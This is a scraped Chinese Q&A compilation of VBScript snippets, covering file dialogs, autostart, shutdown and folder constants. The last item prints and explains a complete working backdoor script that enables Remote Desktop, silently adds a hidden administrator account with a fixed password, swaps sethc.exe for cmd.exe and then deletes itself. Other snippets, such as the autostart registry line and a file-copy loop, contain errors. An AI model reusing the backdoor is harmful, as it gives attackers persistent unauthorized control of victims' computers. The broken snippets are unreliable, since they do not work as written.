vbs脚本代码
1. Vbs COM之打开/保存文件脚本代码
您先把如下的代码复制,然后保存为FileSave.vbs,双击打开,您看到了什么呢?
复制代码
代码如下:
Set
objDialog
=
CreateObject("SAFRCFileDlg.FileSave")
Set
fso
=
CreateObject("Scripting.FileSystemObject")
objDialog.FileName
=
"test"
objDialog.FileType
=
".txt"
intReturn
=
objDialog.OpenFileSaveDlg
If
intReturn
Then
fso.CreateTextFile(objDialog.FileName
&
objdialog.filetype)
Else
Wscript.Quit
End
if
Vbs在很多时候一直给用户以不友好的文件打开或是保存方式,总是自己在后台处理掉了一些FSO操作,而不能让用户自己进行一些设当的DIY。所以,为什么不用COM呢?COM组件在系统里是一直存在的,利用它,我们的用户体验将会提升很多。
上面的代码是不能弹出一个保存test.txt文件的对话框呢?后缀名和文件名大家自己去修改,估计懂点vbs基础知识的人都能修改笔者的这个小脚本,并将它镶嵌到自己的脚本中去吧?
下面再看一个例子,这次是打开文件,获得文件名。
复制代码
代码如下:
set
objFile
=
CreateObject("SAFRCFileDlg.FileOpen")
bRet
=
objFile.OpenFileOpenDlg
if
bRet
then
Wscript.Echo
"文件打开成功!文件名为:"
&
objFile.filename
else
wscript.quit
End
if
运行这个脚本(FileOpen.vbs),将会弹出一个让用户自己选择文件的对话框窗口,非常友好地让用户自己选择文件。bRet是执行的返回值,不为0则成功,objFile的FileName可以返回选择的文件名。
一个名称,一个调用方法,仅此而已。
如果您觉得这个不够帅,您想用类似于MFC中完全自己DIY的CFileDialog,您该怎么办呢?也很简单,UserAccounts对象为我们提供了CommonDialog,这个更加高级的打开通用对话框。
复制代码
代码如下:
Set
objDialog
=
CreateObject("UserAccounts.CommonDialog")
objDialog.Filter
=
"vbs
File|*.vbs"
objDialog.InitialDir
=
"E:"
bRet=objDialog.ShowOpen
if
bRet
then
strLoadFile
=
objDialog.FileName
Wscript.Echo
strLoadFile
else
Wscript.quit
End
if
将其保存为FileOpenAdvance.vbs吧,双击打开,它连过滤的文件类型都为您留好了接口。
默认文件名,后缀过滤器,后缀索引,标志,初始化未知,拥有者,一个调用方法。
2. 怎么执行vbs代码
1、把vbs代码直接保存成vbs为扩展名的文件,双击就可以执行,效果如下:
3. 使VBS脚本开机自动运行的代码是什么
脚本本身是不能开机运行的
必须借助别的 常用的就是 注册表项了 还有 计划任务 用at命令注册 等等
在脚本里加几行代码就注册为开机运行就行了
当然注册表项不止一楼给的哪一个 而且一楼的注册表项写错了 是
HKLM\software\microsoft\windows\currentversion\run
不是
HKML\software\microsoft\windows\curren+version\run
误人子弟啊
你应该是要让当前脚本开机运行
在脚本里加入
set wshshell=createobject("wscript.shell")
wshshell=regwrite "HKML\software\microsoft\windows\curren+version\run\"&WScript.ScriptName,WScript.ScriptFullName
就可以了
4. 解释一个VBS脚本病毒代码
有一段的解释是:要修改管理员用户的名字与权限,还有就是要生成些病毒编写者的其他自己编写的文件,还有就是系统路径的修改的问题,还有就是管理员用户的系统的终端的修改,创建有病毒编写者的自己的键值。
5. 关于vbs的代码
是运行一个叫"ABC.vbs"的脚本吗?还是用另外的脚本复制?
楼下的写错了“d:abc\”是“d:\abc\”
循环吧:
set r=wscript.createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
yuan = WScript.ScriptFullName
do
wscript.sleep 10000 '10秒一次行不?
fso.file yuan,"d:\abc\"
loop
6. 解释一下这个VBS脚本代码
DIM objShell ‘定义一个变量
set objShell=wscript.createObject("wscript.shell") ’常见可执行对象赋值给objShell
iReturn=objShell.Run("cmd.exe /C c:\windows\home.cmd", 0, TRUE) ‘用已赋值的objShell执行cmd.exe /C c:\windows\home.cmd命令,执行结果返回给iReturn。objShell.Run(命令,运行方式,是否等待)命令:可以是CMD命令,或者程序运行方式:0隐藏,1正常,2最小化,3最大化是否等待:是否等待执行完毕。
7. 求一段有复制功能的VBS脚本代码,正确加分
我这里只有一台机器,所以只能自己测试自己的机器
这是代码
@echo
off&&setlocal
enabledelayedexpansion
set
/p
num=请输入文件名(包含后缀):
for
/l
%%a
in
(1,1,4)
do
"!num:~0,-5!%%a!num:~-4!"
"c:\test"
的路径修改下,应该就能复制到共享的目录下了,思路给你了
8. 难懂的VBS脚本代码
&H27&是一个十六进制数字 化成十进制就是39
它被传入 Namespace方法中 其实意思就是类似内部的一些定义好的常量
37 C:/xxxx
38 C:/windows/xxx
39 我的文档/My Picture
这里传入一个39 读取出我的文档中的 我的图片文件夹路径罢了 系统常量
9. vbs脚本代码
根据windows中 Shutdown 的参数设置
-s 表示关闭本地计算机
-r 表示关机并重起
-l 表示注销当前用户
-f 强行关闭应用程序
-t 设置关机倒计时
所以你要重起就用参数-r
CreateObject("wscript.shell").Run "shutdown -r"
注销用参数 -l
10. 求一个VBS脚本代码:
'容错
on error resume next
'定义一个常量 是一个注册表的键值
const HKEY_LOCAL_MACHINE = &H80000002
'定义一个变量strComputer 值为.
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:!\\" &_
strComputer & "\root\default:StdRegProv")
'创建组件 是关于注册表的组件
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
'上面这段的功能是开启3389端口 也就是开启远程终端 方法是修改注册表的键值
'容错
on error resume next
'定义变量 username password
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
'这段是增加管理员 用户名是HackEr 密码是393214425
'容错
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
'这段是留后门 放大镜后门 将sethc.exe替换为cmd.exe 这样 在登陆界面这里 按5下shift就会出现cmd窗口 然后添加用户即可登陆系统
总结 这个不算是病毒 充其量 只不过是一个后门程序 运行之后 系统的远程终端开启,自动加入一个HackEr的帐号 自动添加一个放大镜后门
个人感觉 这代码是将3段代码拼凑起来的 - - 没技术含量